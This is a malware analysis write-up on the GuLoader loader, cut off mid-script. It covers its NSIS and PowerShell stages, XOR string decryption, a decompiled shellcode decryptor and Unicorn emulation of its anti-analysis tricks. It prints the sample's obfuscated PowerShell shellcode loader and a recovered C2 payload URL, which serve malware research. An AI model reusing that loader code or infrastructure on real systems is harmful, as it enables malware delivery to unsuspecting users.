Guloader
A closer look at this infamous loader
Overview
Sample
14d52119459ef12be3a2f9a3a6578ee3255580f679b1b54de0990b6ba403b0fe
malshare
References
- Defeating Guloader Anti-Analysis Technique
- Dissecting the new shellcode-based variant of GuLoader (CloudEyE)
- Spoofed Saudi Purchase Order Drops GuLoader – Part 2
- Malware Analysis: GuLoader Dissection Reveals New Anti-Analysis Techniques and Code Injection Redundancy (published after our notes)
- Alex Hanel Unicorn Notes
file_data = open('/tmp/stage1.bin','rb').read()
import struct
out = []
key = struct.pack('<I',0x919E1E2E)
code_offset = 0x0000014E
enc_code = file_data[code_offset:]
for i in range(len(enc_code)):
out.append(enc_code[i] ^ key[i % len(key)])
open('/tmp/stage2.bin','wb').write(bytes(out))
hex((0x96900857 + 0x10E451D0) ^ 0xAA6DFF89 ^ 0xD19A097)
hex((0x191AE730 ^ 0x320EB5D5 ^ 0xB8DB25E1) + 0x6C3088FC)
hex((0xE22ECFA7 ^ 0xD05F809C ^ 0x4E1C381C) - 0x7C6D76C6)
(0x1C90313A ^ 0x0A3C51979 ^ 0x8A519DBE) - 0x3504B2FD
buff = bytes.fromhex('D8 E3 A9 5E AB')
buff2 = bytes.fromhex('b697cd32c7143eea5fb5fd3fa3dba8aaebe6226c89b9501c20806c888f58a2ba8ebc6b0a94e5bded795a2757109b8997d87e8080ee4aeb')
out = []
for i in range(len(buff2)):
out.append(buff2[i] ^ buff[i % len(buff)])
bytes(out)
def xor_crypt(data, key):
out = []
for i in range(len(data)):
out.append(data[i] ^ key[i % len(key)])
return bytes(out)
xor_crypt(buff, buff2)
egg = xor_crypt(b'http', buff2)
print(egg.hex())
stage2_data = open('/tmp/stage2.bin','rb').read()
c2_offset = stage2_data.find(egg)
xor_crypt(stage2_data[c2_offset:c2_offset+100], buff2)
hex(len(b'http://bounceclick.live/VVB/COrg_RYGGqN229.bin'))
Sample
54976a776a08ddd4ab7cf1fb6b00c4a23f931f1a7d1d937922169ef3be7c9cae
malshare
Overview
This sample also uses NSIS installer but instead of loading shellcode directly from the NSIS script they add an intermediate stage with PowerShell to further obfuscate the loader.
Analysis
Stage 1
Stage one is the NSIS script which is used to launch and obfuscated powershell script in the Soothsaying.For
file. The script can be found on ghostbin here
Stage 2
The obfuscated powershell contains a 3rd stage obfuscated powershell command in a variable that is deobfuscated and launched. We circomvented this by replacing the IEX
execute commands with Write-Output
print statements.
Stage 3
The obfuscatd powershell 3rd stage contains multiple encrypted strings which we have decrypted below.
ps_data = '''
Function HTB { param([String]$Humanmummy152);
$Sprjtende = New-Object byte[] ($Humanmummy152.Length / 2);
For($Stuphe=0; $Stuphe -lt $Humanmummy152.Length; $Stuphe+=2){
$Sprjtende[$Stuphe/2] = [convert]::ToByte($Humanmummy152.Substring($Stuphe, 2), 16);
$Sprjtende[$Stuphe/2] = ($Sprjtende[$Stuphe/2] -bxor 141);
} [String][System.Text.Encoding]::ASCII.GetString($Sprjtende);
}$Fitchet0=HTB 'DEF4FEF9E8E0A3E9E1E1';
$Fitchet1=HTB 'C0E4EEFFE2FEE2EBF9A3DAE4E3BEBFA3D8E3FEECEBE8C3ECF9E4FBE8C0E8F9E5E2E9FE';
$Fitchet2=HTB 'CAE8F9DDFFE2EECCE9E9FFE8FEFE';
$Fitchet3=HTB 'DEF4FEF9E8E0A3DFF8E3F9E4E0E8A3C4E3F9E8FFE2FDDEE8FFFBE4EEE8FEA3C5ECE3E9E1E8DFE8EB';
$Fitchet4=HTB 'FEF9FFE4E3EA';
$Fitchet5=HTB 'CAE8F9C0E2E9F8E1E8C5ECE3E9E1E8';
$Fitchet6=HTB 'DFD9DEFDE8EEE4ECE1C3ECE0E8A1ADC5E4E9E8CFF4DEE4EAA1ADDDF8EFE1E4EE';
$Fitchet7=HTB 'DFF8E3F9E4E0E8A1ADC0ECE3ECEAE8E9';
$Fitchet8=HTB 'DFE8EBE1E8EEF9E8E9C9E8E1E8EAECF9E8';
$Fitchet9=HTB 'C4E3C0E8E0E2FFF4C0E2E9F8E1E8';
$udvalgsprocedure0=HTB 'C0F4C9E8E1E8EAECF9E8D9F4FDE8';
$udvalgsprocedure1=HTB 'CEE1ECFEFEA1ADDDF8EFE1E4EEA1ADDEE8ECE1E8E9A1ADCCE3FEE4CEE1ECFEFEA1ADCCF8F9E2CEE1ECFEFE';
$udvalgsprocedure2=HTB 'C4E3FBE2E6E8';
$udvalgsprocedure3=HTB 'DDF8EFE1E4EEA1ADC5E4E9E8CFF4DEE4EAA1ADC3E8FADEE1E2F9A1ADDBE4FFF9F8ECE1';
$udvalgsprocedure4=HTB 'DBE4FFF9F8ECE1CCE1E1E2EE';
$udvalgsprocedure5=HTB 'E3F9E9E1E1';
$udvalgsprocedure6=HTB 'C3F9DDFFE2F9E8EEF9DBE4FFF9F8ECE1C0E8E0E2FFF4';
$udvalgsprocedure7=HTB 'C4C8D5';
$udvalgsprocedure8=HTB 'D1';
Set-Alias -name udvalgsprocedure9 -value $udvalgsprocedure7;
function fkp {Param ($Ries, $Negeringsfunktionens) ;
$Kabar0 =HTB 'A9D8E3ECEFE9E4EEECF9E4FBE8ADB0ADA5D6CCFDFDC9E2E0ECE4E3D0B7B7CEF8FFFFE8E3F9C9E2E0ECE4E3A3CAE8F9CCFEFEE8E0EFE1E4E8FEA5A4ADF1ADDAE5E8FFE8A0C2EFE7E8EEF9ADF6ADA9D2A3CAE1E2EFECE1CCFEFEE8E0EFE1F4CEECEEE5E8ADA0CCE3E9ADA9D2A3C1E2EEECF9E4E2E3A3DEFDE1E4F9A5A9F8E9FBECE1EAFEFDFFE2EEE8E9F8FFE8B5A4D6A0BCD0A3C8FCF8ECE1FEA5A9CBE4F9EEE5E8F9BDA4ADF0A4A3CAE8F9D9F4FDE8A5A9CBE4F9EEE5E8F9BCA4';
udvalgsprocedure9 $Kabar0;
$Kabar5 = HTB 'A9DEFDE4E9FEE5ECE0E0E8FFE8FEADB0ADA9D8E3ECEFE9E4EEECF9E4FBE8A3CAE8F9C0E8F9E5E2E9A5A9CBE4F9EEE5E8F9BFA1ADD6D9F4FDE8D6D0D0ADCDA5A9CBE4F9EEE5E8F9BEA1ADA9CBE4F9EEE5E8F9B9A4A4';
udvalgsprocedure9 $Kabar5;
$Kabar1 = HTB 'FFE8F9F8FFE3ADA9DEFDE4E9FEE5ECE0E0E8FFE8FEA3C4E3FBE2E6E8A5A9E3F8E1E1A1ADCDA5D6DEF4FEF9E8E0A3DFF8E3F9E4E0E8A3C4E3F9E8FFE2FDDEE8FFFBE4EEE8FEA3C5ECE3E9E1E8DFE8EBD0A5C3E8FAA0C2EFE7E8EEF9ADDEF4FEF9E8E0A3DFF8E3F9E4E0E8A3C4E3F9E8FFE2FDDEE8FFFBE4EEE8FEA3C5ECE3E9E1E8DFE8EBA5A5C3E8FAA0C2EFE7E8EEF9ADC4E3F9DDF9FFA4A1ADA5A9D8E3ECEFE9E4EEECF9E4FBE8A3CAE8F9C0E8F9E5E2E9A5A9CBE4F9EEE5E8F9B8A4A4A3C4E3FBE2E6E8A5A9E3F8E1E1A1ADCDA5A9DFE4E8FEA4A4A4A4A1ADA9C3E8EAE8FFE4E3EAFEEBF8E3E6F9E4E2E3E8E3FEA4A4';
udvalgsprocedure9 $Kabar1;
}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Ambilaevous,[Parameter(Position = 1)] [Type] $Malmy = [Void]);
$Kabar2 = HTB 'A9CFE2FFE3E8E2ADB0ADD6CCFDFDC9E2E0ECE4E3D0B7B7CEF8FFFFE8E3F9C9E2E0ECE4E3A3C9E8EBE4E3E8C9F4E3ECE0E4EECCFEFEE8E0EFE1F4A5A5C3E8FAA0C2EFE7E8EEF9ADDEF4FEF9E8E0A3DFE8EBE1E8EEF9E4E2E3A3CCFEFEE8E0EFE1F4C3ECE0E8A5A9CBE4F9EEE5E8F9B5A4A4A1ADD6DEF4FEF9E8E0A3DFE8EBE1E8EEF9E4E2E3A3C8E0E4F9A3CCFEFEE8E0EFE1F4CFF8E4E1E9E8FFCCEEEEE8FEFED0B7B7DFF8E3A4A3C9E8EBE4E3E8C9F4E3ECE0E4EEC0E2E9F8E1E8A5A9CBE4F9EEE5E8F9B4A1ADA9EBECE1FEE8A4A3C9E8EBE4E3E8D9F4FDE8A5A9F8E9FBECE1EAFEFDFFE2EEE8E9F8FFE8BDA1ADA9F8E9FBECE1EAFEFDFFE2EEE8E9F8FFE8BCA1ADD6DEF4FEF9E8E0A3C0F8E1F9E4EEECFEF9C9E8E1E8EAECF9E8D0A4';
udvalgsprocedure9 $Kabar2;
$Kabar3 = HTB 'A9CFE2FFE3E8E2A3C9E8EBE4E3E8CEE2E3FEF9FFF8EEF9E2FFA5A9CBE4F9EEE5E8F9BBA1ADD6DEF4FEF9E8E0A3DFE8EBE1E8EEF9E4E2E3A3CEECE1E1E4E3EACEE2E3FBE8E3F9E4E2E3FED0B7B7DEF9ECE3E9ECFFE9A1ADA9CCE0EFE4E1ECE8FBE2F8FEA4A3DEE8F9C4E0FDE1E8E0E8E3F9ECF9E4E2E3CBE1ECEAFEA5A9CBE4F9EEE5E8F9BAA4';
udvalgsprocedure9 $Kabar3;
$Kabar4 = HTB 'A9CFE2FFE3E8E2A3C9E8EBE4E3E8C0E8F9E5E2E9A5A9F8E9FBECE1EAFEFDFFE2EEE8E9F8FFE8BFA1ADA9F8E9FBECE1EAFEFDFFE2EEE8E9F8FFE8BEA1ADA9C0ECE1E0F4A1ADA9CCE0EFE4E1ECE8FBE2F8FEA4A3DEE8F9C4E0FDE1E8E0E8E3F9ECF9E4E2E3CBE1ECEAFEA5A9CBE4F9EEE5E8F9BAA4';
udvalgsprocedure9 $Kabar4;
$Kabar5 = HTB 'FFE8F9F8FFE3ADA9CFE2FFE3E8E2A3CEFFE8ECF9E8D9F4FDE8A5A4';
udvalgsprocedure9 $Kabar5 ;
}$Nonperforated = HTB 'E6E8FFE3E8E1BEBF';
$Brndselsforbrug = HTB 'F8FEE8FFBEBF';
$Sottishness03 = HTB 'CAE8F9CEE2E3FEE2E1E8DAE4E3E9E2FA';
$Sottishness00=HTB 'DEE5E2FADAE4E3E9E2FA';
$Kabar6 = HTB 'A9E7E2FFE9EBE2FFE9E8E1E4E3EAE8FFE3E8FEADB0ADD6DEF4FEF9E8E0A3DFF8E3F9E4E0E8A3C4E3F9E8FFE2FDDEE8FFFBE4EEE8FEA3C0ECFFFEE5ECE1D0B7B7CAE8F9C9E8E1E8EAECF9E8CBE2FFCBF8E3EEF9E4E2E3DDE2E4E3F9E8FFA5A5EBE6FDADA9C3E2E3FDE8FFEBE2FFECF9E8E9ADA9F8E9FBECE1EAFEFDFFE2EEE8E9F8FFE8B9A4A1ADA5CAC9D9ADCDA5D6C4E3F9DDF9FFD0A1ADD6D8C4E3F9BEBFD0A1ADD6D8C4E3F9BEBFD0A1ADD6D8C4E3F9BEBFD0A4ADA5D6C4E3F9DDF9FFD0A4A4A4';
udvalgsprocedure9 $Kabar6;
$Sottishness01 = HTB 'A9E3E2E3E9E4FDF9E8FFE2F8FEADB0ADD6DEF4FEF9E8E0A3DFF8E3F9E4E0E8A3C4E3F9E8FFE2FDDEE8FFFBE4EEE8FEA3C0ECFFFEE5ECE1D0B7B7CAE8F9C9E8E1E8EAECF9E8CBE2FFCBF8E3EEF9E4E2E3DDE2E4E3F9E8FFA5A5EBE6FDADA9CFFFE3E9FEE8E1FEEBE2FFEFFFF8EAADA9DEE2F9F9E4FEE5E3E8FEFEBDBDA4A1ADA5CAC9D9ADCDA5D6C4E3F9DDF9FFD0A1ADD6D8C4E3F9BEBFD0A4ADA5D6C4E3F9DDF9FFD0A4A4A4';
udvalgsprocedure9 $Sottishness01;
$Sottishness02 = HTB 'A9C9E2FAE3EEFFE4E8E9ADB0ADD6DEF4FEF9E8E0A3DFF8E3F9E4E0E8A3C4E3F9E8FFE2FDDEE8FFFBE4EEE8FEA3C0ECFFFEE5ECE1D0B7B7CAE8F9C9E8E1E8EAECF9E8CBE2FFCBF8E3EEF9E4E2E3DDE2E4E3F9E8FFA5A5EBE6FDADA9C3E2E3FDE8FFEBE2FFECF9E8E9ADA9DEE2F9F9E4FEE5E3E8FEFEBDBEA4A1ADA5CAC9D9ADCDA5D6C4E3F9DDF9FFD0A4ADA5D6C4E3F9DDF9FFD0A4A4A4';
udvalgsprocedure9 $Sottishness02;
$Kabar7 = HTB 'A9D8E3EEF8E1F9E4FBECEFE1E8ADB0ADA9C9E2FAE3EEFFE4E8E9A3C4E3FBE2E6E8A5BDA4';
udvalgsprocedure9 $Kabar7;
$Kabar7 = HTB 'A9E3E2E3E9E4FDF9E8FFE2F8FEA3C4E3FBE2E6E8A5A9D8E3EEF8E1F9E4FBECEFE1E8A1ADBDA4';
udvalgsprocedure9 $Kabar7;
$Sottishness04 = fkp $udvalgsprocedure5 $udvalgsprocedure6;
$Kabar7 = HTB 'A9CEECFEF8E4FEF9E4EEECE1E1F4BEADB0ADA9E7E2FFE9EBE2FFE9E8E1E4E3EAE8FFE3E8FEA3C4E3FBE2E6E8A5D6C4E3F9DDF9FFD0B7B7D7E8FFE2A1ADBEBCBBA1ADBDF5BEBDBDBDA1ADBDF5B9BDA4';
udvalgsprocedure9 $Kabar7;
$Kabar8 = HTB 'A9D8E3FEECE4E3F9E1E4E3E8FEFEADB0ADA9E7E2FFE9EBE2FFE9E8E1E4E3EAE8FFE3E8FEA3C4E3FBE2E6E8A5D6C4E3F9DDF9FFD0B7B7D7E8FFE2A1ADBDF5BCBDBDBDBDBDA1ADBDF5BEBDBDBDA1ADBDF5B9A4';
udvalgsprocedure9 $Kabar8;
$Casuistically2="rgmlfaelooallpmlvlnvuislrreellesglrrslrndsrfooorrtyvenaudpoubrpdgaaaslraoddernnoanlergpaeyeefaonoaiitiiuahhglkkaedazrrafrecrcieennipurralanidnkeueraeapeaoaoeofrreevlrxuutefyinuireraanslealiieaaodrrclieeiuauraorreeoeboeojjluricahanieasaneueuaeleohnmriarlioaaegtralioleraonearouvoieobohrveneeaafodeiiitinotdieieplaleeideoooeaaorrntiaiaotopnehekeatlriovaaadlnaoionauitinuaalnrevioeeetspnleeenoloeeeouuinrpuaijojoaovaoarroyopoaynupnoamouamsmpdundpuoinruuraroyanrsenifeaeuopernoeiilauhcricaokcarodvoorbaioelcloauemaauuijtlrrrntaarreaoutneayenpkrwieeokenleioeerkoseeouapauunoleydriakeaexaneeupiuhaiovantesneoeuaaaigyokhieoiroarueivuoetnliisnunyeiaupogylhieetuaoutejdioleakriiaaeheaictaeuaeonutlexseosfkoaeeepknkrnpueeaoeiuamyhvenpluoymohaauoiyaostiuindklaeyapeayloaoaasnyehoorerpeevraooiietoaaeeooieloiirsayadnaeaaaiftrooidvalauieaeearnonaevuuyaerelkoaduecoayonsaroieueiaiiovunriisolkosuaaroeayiuoiiaureeyatdnureafnnaevhnhaitlryrrkupuofbmrrpiunnuakarkalohnuoudeyriegnrdejivnonnnkevruugeoeleoanalahsaoylapenujpiueemiieuludkudeeesloreieeleiaarlaohvnouarurlveurrorumetnvnpruinnhremoleiikooialteieersidbpigneuoprloelyvooyavennipaaiepafenokaeiaeraeteiweoevgakrouaktatilsunqleoefnugiaevaeamnuarnoiinelr"
'''
import re
def decrypt(data,key):
tmp_data = bytes.fromhex(data)
out = []
for c in tmp_data:
out.append(c ^ key)
return bytes(out)
egg = r"HTB '([^']*)'"
str_map = {}
for m in re.finditer(egg, ps_data):
data = m.group(1)
ptxt_data = decrypt(data, 141)
str_map[m.group()] = ptxt_data.decode('utf-8')
for k in str_map:
ps_data = ps_data.replace(k,"'" + str_map[k] + "'")
print(ps_data)
Shellcode Loader
Once the strings have been decrypted it is clear that the powershell is used to read shellcode from the Semiskilled.Slv
file. This code is split at 0x400 and 0x53c and copied into two allocated buffers. The first buffer is then called and the second buffer passed as an argument along with a pointer to NtProtectVirtualMemory
.
The first stage of the shellcode has heavy obfuscation but it is a simple loader and decryptor used to decrypt the buffer that is passed as an argument from the PowerShells script. The decryption is an XOR with the key 0xA980E98A.
void __usercall sub_0(int a1@<ebp>, void (*a2)(void), int a3)
{
int v3; // ebp
void (__stdcall *v4)(int, int, int, int, int); // edx
int v5; // esi
int v6; // ecx
int i; // eax
v3 = a1 - 768;
*(_DWORD *)(v3 + 256) = 0x100000;
*(_DWORD *)(v3 + 260) = a2;
v4 = (void (__stdcall *)(int, int, int, int, int))(a3 + 5);
v5 = 0;
v6 = 0;
while ( 1 )
{
do
++v6;
while ( *(_DWORD *)((char *)v4 + v6) != *(_DWORD *)(a3 + 5) );
++v5;
if ( *(_BYTE *)(a3 + v6) == 0xB8 )
{
v4(-1, v3 + 260, v3 + 256, 64, v3 + 156);
for ( i = 0; i != 0x29B28; i += 4 )
*(_DWORD *)((char *)a2 + i) ^= 0xA980E98A;
a2();
JUMPOUT(0x13C);
}
}
}
Guloader Shellcode Stage 2
The second stage shellcode is a version of the main guloader stage2 shellcode. Some of the same functions exist in this shellcode as the original shellcode we analyzed above.
SHA256 = E3A8356689B97653261EA6B75CA911BC65F523025F15649E87B1AEF0071AE107
malshare
key_len = 44
key = bytes.fromhex('3d4f0b6d845f58cbf8844e9ab35781156c68109175e8c42901f8ee2b78c4926631939c778b2a48e0d8ea0dd585')
def xor_crypt(data, key):
out = []
for i in range(len(data)):
out.append(data[i] ^ key[i % len(key)])
return bytes(out)
egg = xor_crypt(b'http', key)
print(egg.hex())
stage2_data = open('/tmp/Semiskilled.Slv_shellcode_stage_2_patched.bin','rb').read()
c2_offset = stage2_data.find(egg)
print(c2_offset)
xor_crypt(stage2_data[c2_offset:c2_offset+100], key)
data = bytes.fromhex('48 4F 78 6D E1 5F 2A CB CB 84 7C 9A')
xor_crypt(data, key).replace(b'\x00',b'')
VEH Program Flow Redirection
As described in both the CrowdStrike and Unit42 blogs Guloader uses an VEH to both do some anti-debugging checks and redirect the program flow.
The way this works is the VEH redirects EIP using a decoding routing based on byte the follows the INT3 (cc
) instruction which caused the excpetion. In the code jmp
instructions have been replaced with INT3 and an encoded byte. There is a nice IDA Python plugin from Unit42 that will automatically replace the INT3 code with JMPs. ** Remember you need to update the XOR byte in the plugin for the version of guloader you are analyzing.
from ctypes import *
import unicorn as uc
import struct
# This is just to print each instruction address as it's emulated
def hook_call(uc_engine, mem_type, address, size):
eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP)
print(f"EIP: {hex(eip-0x10000)}")
return True
buf = open('/tmp/Guloader_stage_2.bin', 'rb').read()
uc_engine = uc.Uc(uc.UC_ARCH_X86, uc.UC_MODE_32)
STACK_ADDR = 0x900000
CODE_ADDR = 0x10000
# Load shellcode into mem
uc_engine.mem_map(CODE_ADDR, 0x300000, uc.UC_PROT_ALL)
uc_engine.mem_write(CODE_ADDR, buf)
# Set shellcode entrypoint
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, CODE_ADDR)
# Setup the stack memory
uc_engine.mem_map(STACK_ADDR - 0x100000, 0x200000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_ESP, STACK_ADDR)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EBP, STACK_ADDR)
# This is our hook just for fun
hook1 = uc_engine.hook_add(uc.UC_HOOK_CODE, hook_call, None)
# Setup our arguments/buffers
EAX_BUFF = 0x500000
uc_engine.mem_map(EAX_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EAX, EAX_BUFF)
# This sort of works like a 'push' to push the buffer address onto the stack
EBP_BUFF = 0x600000
uc_engine.mem_map(EBP_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR, struct.pack('<I',EBP_BUFF))
EDI_BUFF = 0x700000
uc_engine.mem_map(EDI_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EDI, EDI_BUFF)
ARG_BUFF = 0x400000
uc_engine.mem_map(ARG_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR + 4, struct.pack('<I',ARG_BUFF))
FN_START = 0X08A55 + CODE_ADDR
FN_END = 0x08D3F + CODE_ADDR
uc_engine.emu_start(FN_START, FN_END, 0, 0)
#out_eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP)
arg_buff_data = uc_engine.mem_read(ARG_BUFF, 0x1000)
data_len = struct.unpack('<I', arg_buff_data[:4])[0]
data = arg_buff_data[4:4+data_len]
print(data)
xor_crypt(data, key)
from ctypes import *
import unicorn as uc
import struct
# This is just to print each instruction address as it's emulated
def hook_call(uc_engine, mem_type, address, size):
eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP)
pretty_eip = hex(eip-0x10000)
print(f"EIP: {pretty_eip}")
test = uc_engine.mem_read(eip, 2)
if test[0] == 0xcc:
print(f"Breakpoint detected at {pretty_eip}")
new_eip = (test[1] ^ 0x8F) + eip
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, new_eip)
return True
buf = open('/tmp/Guloader_stage_2.bin', 'rb').read()
uc_engine = uc.Uc(uc.UC_ARCH_X86, uc.UC_MODE_32)
STACK_ADDR = 0x900000
CODE_ADDR = 0x10000
# Load shellcode into mem
uc_engine.mem_map(CODE_ADDR, 0x300000, uc.UC_PROT_ALL)
uc_engine.mem_write(CODE_ADDR, buf)
# Set shellcode entrypoint
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, CODE_ADDR)
# Setup the stack memory
uc_engine.mem_map(STACK_ADDR - 0x100000, 0x200000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_ESP, STACK_ADDR)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EBP, STACK_ADDR)
# This is our hook just for fun
hook1 = uc_engine.hook_add(uc.UC_HOOK_CODE, hook_call, None)
# Setup our arguments/buffers
EAX_BUFF = 0x500000
uc_engine.mem_map(EAX_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EAX, EAX_BUFF)
# This sort of works like a 'push' to push the buffer address onto the stack
EBP_BUFF = 0x600000
uc_engine.mem_map(EBP_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR, struct.pack('<I',EBP_BUFF))
EDI_BUFF = 0x700000
uc_engine.mem_map(EDI_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EDI, EDI_BUFF)
ARG_BUFF = 0x400000
uc_engine.mem_map(ARG_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR + 4, struct.pack('<I',ARG_BUFF))
FN_START = 0x00017571 + CODE_ADDR
FN_END = 0x0017A11 + CODE_ADDR
uc_engine.emu_start(FN_START, FN_END, 0, 0)
#out_eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP)
arg_buff_data = uc_engine.mem_read(ARG_BUFF, 0x1000)
data_len = struct.unpack('<I', arg_buff_data[:4])[0]
data = arg_buff_data[4:4+data_len]
xor_crypt(data, key).decode('utf-16')
from ctypes import *
import unicorn as uc
import struct
# This is just to print each instruction address as it's emulated
def hook_int(uc_engine, interrupt_number, userdata):
print(f"INT {interrupt_number}")
eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP) -1
pretty_eip = hex(eip-0x10000)
print(f"EIP: {pretty_eip}")
test = uc_engine.mem_read(eip, 2)
if test[0] == 0xcc:
print(f"Breakpoint detected at {pretty_eip}")
new_eip = (test[1] ^ 0x8F) + eip
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, new_eip)
return True
buf = open('/tmp/Guloader_stage_2.bin', 'rb').read()
uc_engine = uc.Uc(uc.UC_ARCH_X86, uc.UC_MODE_32)
STACK_ADDR = 0x900000
CODE_ADDR = 0x10000
# Load shellcode into mem
uc_engine.mem_map(CODE_ADDR, 0x300000, uc.UC_PROT_ALL)
uc_engine.mem_write(CODE_ADDR, buf)
# Set shellcode entrypoint
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, CODE_ADDR)
# Setup the stack memory
uc_engine.mem_map(STACK_ADDR - 0x100000, 0x200000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_ESP, STACK_ADDR)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EBP, STACK_ADDR)
# This is our hook just for fun
hook1 = uc_engine.hook_add(uc.UC_HOOK_INTR, hook_int, None)
# Setup our arguments/buffers
EAX_BUFF = 0x500000
uc_engine.mem_map(EAX_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EAX, EAX_BUFF)
# This sort of works like a 'push' to push the buffer address onto the stack
EBP_BUFF = 0x600000
uc_engine.mem_map(EBP_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR, struct.pack('<I',EBP_BUFF))
EDI_BUFF = 0x700000
uc_engine.mem_map(EDI_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EDI, EDI_BUFF)
ARG_BUFF = 0x400000
uc_engine.mem_map(ARG_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR + 4, struct.pack('<I',ARG_BUFF))
FN_START = 0x00017571 + CODE_ADDR
FN_END = 0x0017A11 + CODE_ADDR
uc_engine.emu_start(FN_START, FN_END, 0, 0)
#out_eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP)
arg_buff_data = uc_engine.mem_read(ARG_BUFF, 0x1000)
data_len = struct.unpack('<I', arg_buff_data[:4])[0]
data = arg_buff_data[4:4+data_len]
xor_crypt(data, key).decode('utf-16')
from ctypes import *
import unicorn as uc
import struct
# This is just to print each instruction address as it's emulated
def hook_int(uc_engine, interrupt_number, userdata):
print(f"INT {interrupt_number}")
eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP) -1
pretty_eip = hex(eip-0x10000)
print(f"EIP: {pretty_eip}")
test = uc_engine.mem_read(eip, 2)
if test[0] == 0xcc:
print(f"Breakpoint detected at {pretty_eip}")
new_eip = (test[1] ^ 0x8F) + eip
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, new_eip)
return True
buf = open('/tmp/Guloader_stage_2.bin', 'rb').read()
uc_engine = uc.Uc(uc.UC_ARCH_X86, uc.UC_MODE_32)
STACK_ADDR = 0x900000
CODE_ADDR = 0x10000
# Load shellcode into mem
uc_engine.mem_map(CODE_ADDR, 0x300000, uc.UC_PROT_ALL)
uc_engine.mem_write(CODE_ADDR, buf)
# Set shellcode entrypoint
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, CODE_ADDR)
# Setup the stack memory
uc_engine.mem_map(STACK_ADDR - 0x100000, 0x200000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_ESP, STACK_ADDR)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EBP, STACK_ADDR)
# This is our hook just for fun
hook1 = uc_engine.hook_add(uc.UC_HOOK_INTR, hook_int, None)
# Setup our arguments/buffers
EAX_BUFF = 0x500000
uc_engine.mem_map(EAX_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EAX, EAX_BUFF)
# This sort of works like a 'push' to push the buffer address onto the stack
EBP_BUFF = 0x600000
uc_engine.mem_map(EBP_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR, struct.pack('<I',EBP_BUFF))
EDI_BUFF = 0x700000
uc_engine.mem_map(EDI_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EDI, EDI_BUFF)
ARG_BUFF = 0x400000
uc_engine.mem_map(ARG_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR + 4, struct.pack('<I',ARG_BUFF))
FN_START = 0x00017571 + CODE_ADDR
# This is a trick to set a "stop" address
FN_END = 0xDEADBEEF
# Push the "stop" address onto the stack to trigger stop on return
uc_engine.mem_write(STACK_ADDR, struct.pack('<I',0xDEADBEEF))
uc_engine.emu_start(FN_START, FN_END, 0, 0)
#out_eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP)
from ctypes import *
import unicorn as uc
import struct
# This is just to print each instruction address as it's emulated
def hook_int(uc_engine, interrupt_number, userdata):
#print(f"INT {interrupt_number}")
eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP) -1
pretty_eip = hex(eip-0x10000)
#print(f"EIP: {pretty_eip}")
test = uc_engine.mem_read(eip, 2)
if test[0] == 0xcc:
#print(f"Breakpoint detected at {pretty_eip}")
new_eip = (test[1] ^ 0x8F) + eip
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, new_eip)
return True
buf = open('/tmp/Guloader_stage_2.bin', 'rb').read()
def decrypt(fn_address):
uc_engine = uc.Uc(uc.UC_ARCH_X86, uc.UC_MODE_32)
STACK_ADDR = 0x900000
CODE_ADDR = 0x10000
# Load shellcode into mem
uc_engine.mem_map(CODE_ADDR, 0x300000, uc.UC_PROT_ALL)
uc_engine.mem_write(CODE_ADDR, buf)
# Set shellcode entrypoint
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, CODE_ADDR)
# Setup the stack memory
uc_engine.mem_map(STACK_ADDR - 0x100000, 0x200000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_ESP, STACK_ADDR)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EBP, STACK_ADDR)
